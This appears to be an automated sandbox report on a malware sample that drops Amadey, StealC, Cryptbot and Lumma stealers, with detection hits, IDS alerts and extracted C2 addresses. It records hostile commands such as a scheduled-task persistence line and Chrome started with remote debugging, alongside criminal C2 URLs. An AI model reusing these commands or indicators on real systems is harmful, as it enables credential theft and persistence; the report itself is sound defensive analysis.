Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, CommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe, ParentProcessId: 2460, ParentProcessName: 33a9120b78.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, ProcessId: 8036, ProcessName: schtasks.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5608, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 4592, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 9044, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\397a6a3fac.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:17:19.346116+0100	2028371	3	Unknown Traffic	192.168.2.5	49999	104.21.80.55	443	TCP
2024-11-15T16:17:20.892084+0100	2028371	3	Unknown Traffic	192.168.2.5	50001	104.21.80.55	443	TCP
2024-11-15T16:17:22.428506+0100	2028371	3	Unknown Traffic	192.168.2.5	50003	104.21.80.55	443	TCP
2024-11-15T16:17:25.298230+0100	2028371	3	Unknown Traffic	192.168.2.5	50006	104.21.80.55	443	TCP
2024-11-15T16:17:27.352467+0100	2028371	3	Unknown Traffic	192.168.2.5	50010	104.21.80.55	443	TCP
2024-11-15T16:17:30.399474+0100	2028371	3	Unknown Traffic	192.168.2.5	50018	104.21.80.55	443	TCP
2024-11-15T16:17:32.510773+0100	2028371	3	Unknown Traffic	192.168.2.5	50019	104.21.80.55	443	TCP
2024-11-15T16:17:34.235765+0100	2028371	3	Unknown Traffic	192.168.2.5	50020	104.21.80.55	443	TCP
2024-11-15T16:17:35.485553+0100	2028371	3	Unknown Traffic	192.168.2.5	50022	104.21.80.55	443	TCP
2024-11-15T16:17:37.239250+0100	2028371	3	Unknown Traffic	192.168.2.5	50024	104.21.80.55	443	TCP
2024-11-15T16:17:38.264058+0100	2028371	3	Unknown Traffic	192.168.2.5	50025	104.21.80.55	443	TCP
2024-11-15T16:17:39.185808+0100	2028371	3	Unknown Traffic	192.168.2.5	50026	104.21.80.55	443	TCP
2024-11-15T16:17:41.396794+0100	2028371	3	Unknown Traffic	192.168.2.5	50029	104.21.80.55	443	TCP
2024-11-15T16:17:43.998027+0100	2028371	3	Unknown Traffic	192.168.2.5	50032	104.21.80.55	443	TCP
2024-11-15T16:17:46.461555+0100	2028371	3	Unknown Traffic	192.168.2.5	50034	104.21.80.55	443	TCP
2024-11-15T16:17:49.506955+0100	2028371	3	Unknown Traffic	192.168.2.5	50036	104.21.80.55	443	TCP
2024-11-15T16:18:01.183439+0100	2028371	3	Unknown Traffic	192.168.2.5	50083	104.21.80.55	443	TCP
2024-11-15T16:18:02.545306+0100	2028371	3	Unknown Traffic	192.168.2.5	50094	104.21.80.55	443	TCP
2024-11-15T16:18:06.974749+0100	2028371	3	Unknown Traffic	192.168.2.5	50116	104.21.80.55	443	TCP
2024-11-15T16:18:30.090350+0100	2028371	3	Unknown Traffic	192.168.2.5	50139	104.21.80.55	443	TCP
2024-11-15T16:18:31.930248+0100	2028371	3	Unknown Traffic	192.168.2.5	50140	104.21.80.55	443	TCP
2024-11-15T16:18:33.571044+0100	2028371	3	Unknown Traffic	192.168.2.5	50142	104.21.80.55	443	TCP
2024-11-15T16:18:35.109522+0100	2028371	3	Unknown Traffic	192.168.2.5	50144	104.21.80.55	443	TCP
2024-11-15T16:18:37.660568+0100	2028371	3	Unknown Traffic	192.168.2.5	50153	104.21.80.55	443	TCP
2024-11-15T16:20:51.271257+0100	2028371	3	Unknown Traffic	192.168.2.5	59641	13.89.179.11	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:17:20.145220+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49999	104.21.80.55	443	TCP
2024-11-15T16:17:21.430406+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50001	104.21.80.55	443	TCP
2024-11-15T16:17:34.765966+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50020	104.21.80.55	443	TCP
2024-11-15T16:17:36.042217+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50022	104.21.80.55	443	TCP
2024-11-15T16:17:38.798417+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50025	104.21.80.55	443	TCP
2024-11-15T16:17:50.026287+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50036	104.21.80.55	443	TCP
2024-11-15T16:18:01.780602+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50083	104.21.80.55	443	TCP
2024-11-15T16:18:03.296766+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50094	104.21.80.55	443	TCP
2024-11-15T16:18:38.193013+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50153	104.21.80.55	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:17:20.145220+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49999	104.21.80.55	443	TCP
2024-11-15T16:17:34.765966+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50020	104.21.80.55	443	TCP
2024-11-15T16:18:01.780602+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50083	104.21.80.55	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:17:21.430406+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50001	104.21.80.55	443	TCP
2024-11-15T16:17:36.042217+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50022	104.21.80.55	443	TCP
2024-11-15T16:18:03.296766+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50094	104.21.80.55	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:17:19.346116+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	49999	104.21.80.55	443	TCP
2024-11-15T16:17:20.892084+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50001	104.21.80.55	443	TCP
2024-11-15T16:17:22.428506+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50003	104.21.80.55	443	TCP
2024-11-15T16:17:25.298230+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50006	104.21.80.55	443	TCP
2024-11-15T16:17:27.352467+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50010	104.21.80.55	443	TCP
2024-11-15T16:17:30.399474+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50018	104.21.80.55	443	TCP
2024-11-15T16:17:32.510773+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50019	104.21.80.55	443	TCP
2024-11-15T16:17:34.235765+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50020	104.21.80.55	443	TCP
2024-11-15T16:17:35.485553+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50022	104.21.80.55	443	TCP
2024-11-15T16:17:37.239250+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50024	104.21.80.55	443	TCP
2024-11-15T16:17:38.264058+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50025	104.21.80.55	443	TCP
2024-11-15T16:17:39.185808+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50026	104.21.80.55	443	TCP
2024-11-15T16:17:41.396794+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50029	104.21.80.55	443	TCP
2024-11-15T16:17:43.998027+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50032	104.21.80.55	443	TCP
2024-11-15T16:17:46.461555+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50034	104.21.80.55	443	TCP
2024-11-15T16:17:49.506955+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50036	104.21.80.55	443	TCP
2024-11-15T16:18:01.183439+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50083	104.21.80.55	443	TCP
2024-11-15T16:18:02.545306+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50094	104.21.80.55	443	TCP
2024-11-15T16:18:06.974749+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50116	104.21.80.55	443	TCP
2024-11-15T16:18:30.090350+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50139	104.21.80.55	443	TCP
2024-11-15T16:18:31.930248+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50140	104.21.80.55	443	TCP
2024-11-15T16:18:33.571044+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50142	104.21.80.55	443	TCP
2024-11-15T16:18:35.109522+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50144	104.21.80.55	443	TCP
2024-11-15T16:18:37.660568+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.5	50153	104.21.80.55	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:17:39.757212+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50027	185.215.113.16	80	TCP
2024-11-15T16:17:50.970008+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50038	185.215.113.16	80	TCP
2024-11-15T16:18:39.112890+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50154	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:17:13.893626+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49995	185.215.113.43	80	TCP
2024-11-15T16:17:19.601970+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49998	185.215.113.43	80	TCP
2024-11-15T16:17:25.009747+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50004	185.215.113.43	80	TCP
2024-11-15T16:17:29.071306+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50013	185.215.113.43	80	TCP
2024-11-15T16:17:34.992383+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50021	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:18:09.200875+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50118	34.116.198.130	80	TCP
2024-11-15T16:18:13.144696+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50121	34.116.198.130	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:17:18.468593+0100	2057396	1	Domain Observed Used for C2 Detected	192.168.2.5	59350	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:16:07.112289+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:16:07.105978+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:16:07.393124+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:16:08.515104+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:16:07.399936+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:17:30.774675+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50018	104.21.80.55	443	TCP
2024-11-15T16:18:31.261378+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50139	104.21.80.55	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:16:06.817718+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-15T16:17:26.693889+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50008	185.215.113.206	80	TCP
2024-11-15T16:17:43.547076+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50031	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:17:05.308193+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49992	185.215.113.43	80	TCP
2024-11-15T16:22:22.512604+0100	2856147	1	A Network Trojan was detected	192.168.2.5	59686	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:17:12.978023+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49993	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:17:08.685008+0100	2803305	3	Unknown Traffic	192.168.2.5	49994	31.41.244.11	80	TCP
2024-11-15T16:17:14.826335+0100	2803305	3	Unknown Traffic	192.168.2.5	49997	185.215.113.16	80	TCP
2024-11-15T16:17:20.545203+0100	2803305	3	Unknown Traffic	192.168.2.5	50000	185.215.113.16	80	TCP
2024-11-15T16:17:29.978298+0100	2803305	3	Unknown Traffic	192.168.2.5	50014	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:16:09.039793+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-15T16:16:28.678443+0100	2803304	3	Unknown Traffic	192.168.2.5	49759	185.215.113.206	80	TCP
2024-11-15T16:16:29.908197+0100	2803304	3	Unknown Traffic	192.168.2.5	49759	185.215.113.206	80	TCP
2024-11-15T16:16:30.538092+0100	2803304	3	Unknown Traffic	192.168.2.5	49759	185.215.113.206	80	TCP
2024-11-15T16:16:31.134562+0100	2803304	3	Unknown Traffic	192.168.2.5	49759	185.215.113.206	80	TCP
2024-11-15T16:16:32.521376+0100	2803304	3	Unknown Traffic	192.168.2.5	49759	185.215.113.206	80	TCP
2024-11-15T16:16:33.010271+0100	2803304	3	Unknown Traffic	192.168.2.5	49759	185.215.113.206	80	TCP
2024-11-15T16:16:38.052796+0100	2803304	3	Unknown Traffic	192.168.2.5	49913	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T16:17:32.536612+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50019	104.21.80.55	443	TCP
2024-11-15T16:17:46.678109+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50034	104.21.80.55	443	TCP
2024-11-15T16:18:35.115782+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50144	104.21.80.55	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 00000014.00000002.2495541140.0000000000751000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 33a9120b78.exe.2460.24.memstrmin	Malware Configuration Extractor: Cryptbot {"C2 list": ["\"home.fvtejs5sr.top", "0/80/home.fvtejs5sr.top", "e7gPhome.fvtejs5sr.top", "fvtejs5sr.top", "home.fvtejs5sr.top", "llowhome.fvtejs5sr.top", "QUERY\|rd\|AAAA\|IN\|home.fvtejs5sr.top", "QUERY\|rd\|A\|IN\|home.fvtejs5sr.top"]}
Source: 829de9457d.exe.7264.27.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}
Source: 397a6a3fac.exe.6672.36.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["300snails.sbs", "3xc1aimbl0w.sbs", "faintbl0w.sbs", "thicktoys.sbs"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	ReversingLabs: Detection: 42%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C626C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C626C80

Source: 33a9120b78.exe, 00000018.00000003.2758308770.000000000745C000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_76524364-6

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.5:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.5:57614 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.89.179.11:443 -> 192.168.2.5:59641 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2481247240.000000006C84F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2481247240.000000006C84F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 397a6a3fac.exe, 00000019.00000002.3196098182.0000000005CA2000.00000040.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.3096528411.0000000007C80000.00000004.00001000.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3225340351.0000000007D20000.00000004.00001000.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000002.3328741524.0000000005BC2000.00000040.00000800.00020000.00000000.sdmp, 1997b72847.exe, 0000001F.00000002.3104574243.0000000000472000.00000040.00000001.01000000.00000012.sdmp, 1997b72847.exe, 0000001F.00000003.2966639551.0000000005270000.00000004.00001000.00020000.00000000.sdmp, 1997b72847.exe, 00000029.00000003.3381851497.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmp

Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe

Directory queried: number of queries: 3003

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
